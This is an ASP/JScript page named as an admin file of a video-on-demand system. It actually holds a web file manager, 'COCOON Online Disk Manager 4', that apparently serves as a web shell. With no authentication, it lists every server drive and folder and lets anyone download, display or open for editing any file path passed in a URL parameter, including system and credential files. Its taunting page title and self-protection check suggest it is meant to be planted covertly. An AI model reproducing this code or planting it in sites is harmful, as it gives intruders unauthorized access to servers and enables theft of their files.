adminnetmarshal.asp

视频点播系统

<%@LANGUAGE="JScript" CODEPAGE="936"%>
<%var sSelfPath = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")(1)).toLowerCase();var sUrl = Request.ServerVariables("URL")(1);var sAction = Request("a")+"";var sTarget = (Request("t")+"").toLowerCase();var sShowSmall = Request("s")+"";if(!isNaN(sShowSmall)){Response.Cookies("CC_Dm_ShowSmall")=sShowSmall;sQueryString = "";var e = new Enumerator(Request.QueryString);for (; !e.atEnd(); e.moveNext()){var x = e.item();if(x!="s"){sQueryString += x + "=" + Request.QueryString(x) + "&";}}Response.Redirect(sUrl+"?"+sQueryString);};sShowSmall = Request.Cookies("CC_Dm_ShowSmall");if(isNaN(parseInt(sShowSmall))) sShowSmall="0";function ShowError(e){Response.write("<script language=javascript>alert('COCOON Online Disk Manager 4 \\r\\n"+ "             Created by:世界如此精彩！ \\r\\n"+ "             Coding by: Sunrise_Chen ([e-mail])\\r\\n"+ "提示信息: \\r\\n\\r\\n                "+ Str4Js(e.description) + "');window.close();<\/script>");Response.end();};function Str4Js(s){return (s+'').replace(/\\/g,"\\\\").replace(/\'/g,"&#39;").replace(/\"/g,"&quot;");};function Cc_DiskManager(){try{this.fso = new ActiveXObject("Scripting.FileSystemObject");}catch(e){ShowError(e);};function FormatDateTime(dtDateTime){return new Date(dtDateTime).toLocaleString();};function GetTypeName(s){switch(s){case 0 : return "Unknown";case 1 : return "3.5 软盘";case 2 : return "本地硬盘";case 3 : return "Network";case 4 : return "CD 驱动器";case 5 : return "RamDisk";}};function GetAttribute(nAttrib,b){var a = new Array();if(nAttrib & 128) a[a.length] = (b?"C":"压缩");if(nAttrib & 64) a[a.length] = (b?"":"快捷方式");if(nAttrib & 32) a[a.length] = (b?"A":"隐藏");if(nAttrib & 16) a[a.length] = (b?"":"文件夹");if(nAttrib & 8) a[a.length] = (b?"":"卷标");if(nAttrib & 4) a[a.length] = (b?"S":"系统");if(nAttrib & 2) a[a.length] = (b?"H":"隐藏");if(nAttrib & 1) a[a.length] = (b?"R":"只读");if(nAttrib & 2048) a[a.length] = (b?"C":"压缩");return a.join((b?"":","));};function GetIconByType_Driver(n){switch(n){case 0 : return "<font face='wingdings' class='ItemIconStyle'>&#61;</font>";case 1 : return "<font face='wingdings' class='ItemIconStyle'>&#60;</font>";case 2 : return "<font face='wingdings' class='ItemIconStyle'>&#59;</font>";case 3 : return "<font face='wingdings' class='ItemIconStyle'>&#61;</font>";case 4 : return "<font face='wingdings' class='ItemIconStyle'>&#62;</font>";case 5 : return "<font face='wingdings' class='ItemIconStyle'>&#61;</font>";}};function GetIconByType_File(sFileName){var r = "." + sFileName;switch(r.substr(r.lastIndexOf(".")+1).toLowerCase()){case "txt" :return "<font face='wingdings' class='ItemIconStyle'>&#50;</font>";case "exe": case "com": case "pif": case "bat":return "<font face='wingdings' class='ItemIconStyle'>&#255;</font>";case "jpg": case "gif": case "bmp": case "tiff": case "jpeg": case "tif" : case "png" :return "<font face='webdings' class='ItemIconStyle'>&#159;</font>";case "mp3": case "wav": case"mid" :return "<font face='webdings' class='ItemIconStyle'>&#175;</font>";default :return "<font face='wingdings 2' class='ItemIconStyle'>&#47;</font>";}};function FormatSize(nSize){if(nSize/Math.pow(1024,3)>0.9) return Math.round(nSize/Math.pow(1024,3)*100)/100 + " GB";else if(nSize/Math.pow(1024,2)>0.9) return Math.round(nSize/Math.pow(1024,2)*100)/100 + " MB";else if(nSize/1024>0.9) return Math.round(nSize/1024*100)/100 + " KB";else return "1 KB";};this.GetDriverList = function(){var fso = this.fso;var a = new Array();var e = new Enumerator(fso.Drives);for (; !e.atEnd(); e.moveNext()){var bIsReady = false;var x = e.item();try{bIsReady = x.isReady;}catch(e){bIsReady = false;}if(bIsReady){a[a.length] = new Array(bIsReady,GetIconByType_Driver(x.DriveType),"<nobr>" + GetTypeName(x.DriveType) + "</nobr><nobr>(" + x.DriveLetter + ":)</nobr>",GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")",x.RootFolder,16,GetTypeName(x.DriveType),"<div align=right>" + FormatSize(x.TotalSize) + "</div>","<div align=right>" + FormatSize(x.AvailableSpace) + "</div>","","路径: " + x.RootFolder,"类型: " + GetTypeName(x.DriveType),"文件系统: " + x.FileSystem,"卷标: " + x.VolumeName,"总容量: " + FormatSize(x.TotalSize),"剩余容量: " + FormatSize(x.AvailableSpace));}else{a[a.length] = new Array(bIsReady,GetIconByType_Driver(x.DriveType),"<nobr>" + GetTypeName(x.DriveType) + "</nobr><nobr>(" + x.DriveLetter + ":)</nobr>",GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")",x.DriveLetter + ":\\",-1,GetTypeName(x.DriveType),"","","","路径: " + x.DriveLetter + ":\\","类型: " + GetTypeName(x.DriveType));}}return a;};this.CurrentFolder = null;this.GetFolderInfo = function(sFolderSpec){if(this.CurrentFolder) return this.CurrentFolder;var fso = this.fso;var a = new Array();var x = fso.GetFolder(sFolderSpec);a[a.length] = new Array(true,"<font face='wingdings' class='ItemIconStyle'>&#48;</font>","<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>",x.Name,x.Path,x.Attributes,"路径: \"" + x.Path + "\"","属性: " + GetAttribute(x.Attributes));if(!x.isRootFolder){a[a.length-1]=(new Array).concat(a[a.length-1],Array("创建时间: " + FormatDateTime(x.DateCreated),"修改时间: " + FormatDateTime(x.DateLastModified),"访问时间: " + FormatDateTime(x.DateLastAccessed)))}try{a[a.length-1]=(new Array).concat(a[a.length-1],Array("","目录数: " + x.subfolders.count + " ","文件数: " + x.files.count + " "))}catch(e){a[a.length-1]=(new Array).concat(a[a.length-1],Array("","<span class=error>错误: 没有权限</span>"))			}this.CurrentFolder = a;return a;};this.GetFolderList = function(sFolderSpec){var fso = this.fso;var a = new Array();var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.SubFolders);if(!folder.isRootFolder){a[a.length] = new Array(true,"<font face='wingdings 3' class='ItemIconStyle'>&#205;</font>","<span class='ItemTitle'><nobr>..</nobr></span>","",folder.ParentFolder,folder.ParentFolder.attributes,"","","","");}else{ a[a.length] = new Array(true,"<font face='wingdings' class='ItemIconStyle'>&#58;</font>","<span class='ItemTitle'>..</span>","","","","","","","");}for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true,"<font face='wingdings' class='ItemIconStyle'>&#48;</font>","<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>",x.Name,x.Path,x.Attributes,"",x.Type,FormatDateTime(x.DateLastModified),GetAttribute(x.Attributes,true),"路径: \"" + x.Path + "\"","属性: " + GetAttribute(x.Attributes),"创建时间: " + FormatDateTime(x.DateCreated),"修改时间: " + FormatDateTime(x.DateLastModified),"访问时间: " + FormatDateTime(x.DateLastAccessed));}var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.Files);for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true,GetIconByType_File(x.name),"<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>",x.Name,x.Path,x.Attributes,FormatSize(x.size),x.Type,FormatDateTime(x.DateLastModified),GetAttribute(x.Attributes,true),"路径: \"" + x.Path + "\"","类型: " + x.Type,"大小: " + FormatSize(x.size),"属性: " + GetAttribute(x.Attributes),"创建时间: " + FormatDateTime(x.DateCreated),"修改时间: " + FormatDateTime(x.DateLastModified),"访问时间: " + FormatDateTime(x.DateLastAccessed));}return a;};this.DownloadFile = function(sTarget){try{var fso = this.fso;var file = fso.GetFile(sTarget);var sFileName = file.name;var sFileSize = file.size;fso = null;var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); }Response.addHeader("Content-Disposition","attachment; filename=" + sFileName);Response.addHeader("Content-Length",sFileSize);Response.charSet = "UTF-8";Response.contentType = "application/octet-stream";Response.binaryWrite(st.read());st.close();st = null;}catch(e){ShowError(e);}Response.end();};this.ReadFile = function(sTarget){try{var sBody = "";var st = new ActiveXObject("ADODB.Stream");with(st) { charset="gb2312"; open(); loadFromFile(sTarget); sBody=st.readText(); close(); }st = null;return sBody;}catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");}};this.WriteFile = function(sTarget,sContent){try{ShowError(new Error(0,'演示版禁止该功能，请与作者联系。'))}catch(e){ShowError(e);Response.end();}}};function Cc_Dm4() {	}Cc_Dm4.ShowItem = function(aItemList){for(var i=0;i<aItemList.length;++i){Response.Write("<span id='span_item' title='");for(var j=10;j<aItemList[i].length;++j){Response.Write("\r\n" + aItemList[i][j]);}Response.Write("' Cc_FileName='" + aItemList[i][3] + "'" + " Cc_FilePath='" + aItemList[i][4] + "' "+ " Cc_FileType='" + aItemList[i][5] + "' ");Response.Write(" onclick='domenu(" + i + ")' ondblclick='doExec(this)' class='ItemStyle'>\r\n" + "<input type='checkbox' id='chk_item' value='" + aItemList[i][4] + "' style='display:none'>" + "\r\n"+ "<span class='detail0' id='icon_item'>" + "\r\n"+ "	" + aItemList[i][1] + "\r\n"+ "	" + aItemList[i][2] + "\r\n"+ "</span>\t\n"+ "<span class='detail1'>" + aItemList[i][6] + "</span>"+ "<span class='detail2'>" + aItemList[i][7] + "</span>"+ "<span class='detail3'>" + aItemList[i][8] + "</span>"+ "<span class='detail4'>" + aItemList[i][9] + "</span>\r\n"+ "</span>" + "\r\n\r\n");}};Cc_Dm4.ShowCurrentFolder = function(sTarget){if(sAction!="f") return;var oDm = new Cc_DiskManager;var aItemList = oDm.GetFolderInfo(sTarget);var i = 0;Response.write("" + aItemList[i][1] + "\r\n" + "	<b>" + aItemList[i][2] + "</b>");Response.Write("<pre>");for(var j=6;j<aItemList[i].length;++j){Response.Write("\r\n" + aItemList[i][j]);}Response.Write("</pre>" + "\r\n\r\n");};Cc_Dm4.ShowDriverList = function(){var oDm = new Cc_DiskManager;var aDriverList = oDm.GetDriverList();this.ShowItem(aDriverList);};Cc_Dm4.ShowFolderList = function(sTarget){var oDm = new Cc_DiskManager;var aFolderList = oDm.GetFolderList(sTarget);this.ShowItem(aFolderList);};Cc_Dm4.DownloadFile = function(sTarget){var oDm = new Cc_DiskManager;oDm.DownloadFile(sTarget);};Cc_Dm4.EditFile = function(sTarget){var oDm = new Cc_DiskManager;var sBody = oDm.ReadFile(sTarget);Response.write("<html><head><title>" + sTarget + " - 我潜入太平洋最深处了....... </title>"+ "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" + "<style>" + "body{margin:0;border:none;overflow:hidden;} "+ "form{margin:0;font-size:9pt;} "+ "textarea{font-family:Tahoma;font-size:9pt; padding:10px;}"+ "input{font-family:Tahoma;font-size:9pt;}"+ "</style>"+ "</head>"+ "<body>"+ "<form style='width:100%;height:100%;' method='post' action='" + sUrl + "'>"+ "<textarea name=fileContent style='width:100%;height:90%;'>" + Server.HTMLEncode(sBody) + "</textarea><br>"+ "<div style='padding-top:5px'>&nbsp;&nbsp;文件路径：<input type='text' name=t value='" + sTarget + "' readonly style='overflow:visible;'>"+ "<input type='hidden' name=a value=s> "+ "<input type='submit' name=btnSubmit value='保存' style='width:75px;' onclick=\"form.a.value='s'\">"+ "<input type='reset' name=btnReset value='复位' style='width:75px;'>"+ "<input type='button' name=btnReset value='清空' style='width:75px;' onclick=\"form.fileContent.value=''\">"+ "<input type='button' name=btnReset value='关闭' style='width:75px;' onclick=\"window.close();\">"+ "</div></form></body></html>");Response.End();};Cc_Dm4.SaveFile = function(sTarget){var oDm = new Cc_DiskManager;oDm.WriteFile(sTarget,Request.Form("fileContent")+"");Response.write("<script>window.close();<\/script>");Response.End();};Cc_Dm4.ShowFile = function(sTarget){var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); Response.binaryWrite(read()); close(); }st = null;Response.end();};if(sTarget==sSelfPath){ShowError(new Error(0,"不准碰我!!! >:-<"));};switch(sAction){case "d" :Cc_Dm4.DownloadFile(sTarget);case "h" : Cc_Dm4.ShowFile(sTarget);case "e" :Cc_Dm4.EditFile(sTarget);break;case "s" :Cc_Dm4.SaveFile(sTarget);break;};%><html><head><title>我潜入太平洋最深处了....... </title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE> a { color: black; }body,td { font-size: 9pt; font-family: Tahoma; cursor: default; margin:0; overflow: hidden; text-align: left; }form { margin: 0 }input,textarea {  font-family: Tahoma; font-size:9pt; inputarea:expression(onselectstart=new Function("event.cancelBubble=true;")); }.panelLeft { width: 22%; vertical-align: top; text-overflow: ellipsis; overflow: hidden; text-align: left;propertyarea:expression(onclick=new Function("event.cancelBubble=true;"));}.panelInnerHead { width:100%; margin: 10px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; background-color: #eeeeee;}.panelInner { width:100%; margin: 0px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; border:1px solid #eeeeee;}.divMenu { position:absolute;  border: 1px solid black; padding: 5px; }.Error { color: red; }.ItemStyle { filter: progid:DXImageTransform.Microsoft.gradient(enabled=false,startColorStr=#20000000,endColorStr=#00000000,GradientType=0);}</STYLE><STYLE id="view_2"  <%=(sShowSmall=="2"?"":"disabled")%>> /*详细样式*/.ItemStyle { width: 100%; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; white-space: nowrap;}.ItemIconStyle { font-size: 12pt; vertical-align: baseline; width: 16px; }.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 90%; text-align: left; }.detail0 { width: 35%; }.detail1 { text-align: right; width: 9%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:0pt; }.detail2 { text-align: left; width: 24%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:10pt; }.detail3 { text-align: left; width: 24%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:0pt; }.detail4 { text-align: left; width: 5%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:5pt; }</STYLE><STYLE id="view_1" <%=(sShowSmall=="1"?"":"disabled")%>> /*列表样式*/.ItemStyle { width: 240px; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; }.ItemIconStyle { font-size: 12pt; vertical-align: baseline; width: 16px; }.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 85%; text-align: left; }.detail0 { }.detail1,.detail2,.detail3,.detail4 { display: none; }</STYLE><STYLE id="view_0"  <%=(sShowSmall=="0"?"":"disabled")%>> /*图标样式*/.ItemStyle { width: 65px; height: 50px; text-align: center; margin: 5px; padding: 3px; border: 1px sloid white; }.ItemIconStyle { font-size: 28pt; vertical-align: baseline; }.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 100%; }.detail0 { }.detail1,.detail2,.detail3,.detail4 { display: none; }</STYLE><script language="javascript"> var sUrl = "<%=sUrl%>";document.onselectstart = new Function("event.returnValue = false;");document.SelectedItem = new Object();document.onclick = function(){clearSelect();};window.onload = function init(){document.SpanItem = document.getElementsByName("span_item");document.ChkItem = document.getElementsByName("chk_item");document.IconItem = document.getElementsByName("icon_item");document.PanelInner = document.getElementById("panelInner");document.PanelTemplet = document.getElementById("panelTemplet");document.InitComplete = true;};document.onkeydown = function selectAll(){if((event.keyCode==97||event.keyCode==65)&&event.ctrlKey){clearSelect();for(var i=1;i<document.IconItem.length;++i){domenu(i,true);};document.PanelInner.innerHTML = "已选定 " + (i-1) + " 个对象。";}};function getFirstSelectedItem(){var m = Number.POSITIVE_INFINITY;for(var x in document.SelectedItem){if(parseInt(x)<m) m=x;}if(m==Number.POSITIVE_INFINITY) return 1;return m;};function domenu(n,b){event.cancelBubble = true;if(!document.InitComplete) init();if(!b&&event.shiftKey){var x = getFirstSelectedItem();clearSelect();for(var i=Math.min(x,n);i<=Math.max(x,n);++i){domenu(i,true);}document.PanelInner.innerHTML = "<br><br>已选定 " + (i-1) + " 个对象。";return;}if( !(b||event.ctrlKey) ) clearSelect();var o = document.SpanItem[n];var c = document.ChkItem[n];var p = document.IconItem[n];if(c.checked){if(b) return;try{ o.filters[0].enabled=false; }catch(e){  }document.PanelInner.innerHTML = document.PanelTemplet.innerHTML;delete document.SelectedItem[n];c.checked = false;}else{try{ o.filters[0].enabled=true; }catch(e){  }document.SelectedItem[n] = o;c.checked = true;if(b) return;document.PanelInner.innerHTML = "<b>" + p.innerHTML + "</b>" + "<pre>" + o.title + "</pre>";}};function clearSelect(){if(document.SelectedItem){for(var x in document.SelectedItem){document.ChkItem[x].checked = false;try{ document.SpanItem[x].filters[0].enabled=false; }catch(e){  }delete document.SelectedItem[x];}document.PanelInner.innerHTML = document.PanelTemplet.innerHTML;}};function doExec(o){var n = o.Cc_FilePath;var t = parseInt(o.Cc_FileType);if(t<0){alert('设备未就绪');return;}else if(isNaN(t)){location.href = sUrl;return;}else if(t & 16){location.href = sUrl + "?a=f&t=" + n;return;}var r = "." + n;switch(r.substr(r.lastIndexOf(".")+1).toLowerCase()){case "txt": case "bat": case "ini": case "inf": case "log":case "asp": case "css": case "htm": case "php": case "cgi":case "aspx": case "html": case "php3": case "php4": case "jsp":case "shtm": case "shtml": case "sql":doAction('edit');break;case "jpg": case "gif": case "bmp": case "tiff": case "jpeg": case "tif" : case "png" :doAction('show');break;default:doAction();}};function doAction(sAction){for(var x in document.SelectedItem){switch(sAction){case "edit":window.open(sUrl + '?a=e&t=' + document.ChkItem[x].value,parseInt(Math.random()*100),'menu=0,resizable=1');break;case "show":window.open(sUrl + '?a=h&t=' + document.ChkItem[x].value,parseInt(Math.random()*100),'');break;default:window.open(sUrl + '?a=d&t=' + document.ChkItem[x].value,parseInt(Math.random()*100),'');break;}}}</script>
</head><body><div style="height:91%;" align="right"><span class="panelLeft">
<div class="panelInnerHead" style="font-weight: bolder"> 文件或文件夹任务</div>
<div class="panelInner"> 视图：<a href="<%=sUrl+"?s=0&"+Request.QueryString%>">图标</a> <a href="<%=sUrl+"?s=1&"+Request.QueryString%>">列表</a> <a href="<%=sUrl+"?s=2&"+Request.QueryString%>">详细</a><br><span> 操作：<a href="javascript:doAction();">下载</a> <a href="javascript:doAction('edit');">编辑</a> <a href="javascript:doAction('show');">显示</a><br> 　　　<a href="#" disabled>复制</a> <a href="#" disabled>剪切</a> <a href="#" disabled>粘贴</a><br> 　　　<a href="#" disabled>新建</a> <a href="#" disabled>更名</a> <a href="#" disabled>删除</a></div></span><br><div class="panelInner" id="panelInner"><% Cc_Dm4.ShowCurrentFolder(sTarget) %></div><div id="panelTemplet" style="display:none"><% Cc_Dm4.ShowCurrentFolder(sTarget) %></div></span><span style="width:78%; height:100%; overflow:auto;text-align:left;overflow-x:hidden"><%switch(sAction){case "f" :Cc_Dm4.ShowFolderList(sTarget);break;default:Cc_Dm4.ShowDriverList();}%></span></div><div style="width:100%; height:9%; text-align: center; vertical-align: bottom;"><table style="width:100%;height:100%;" border=0 cellpadding="0" cellspacing="0"><tr>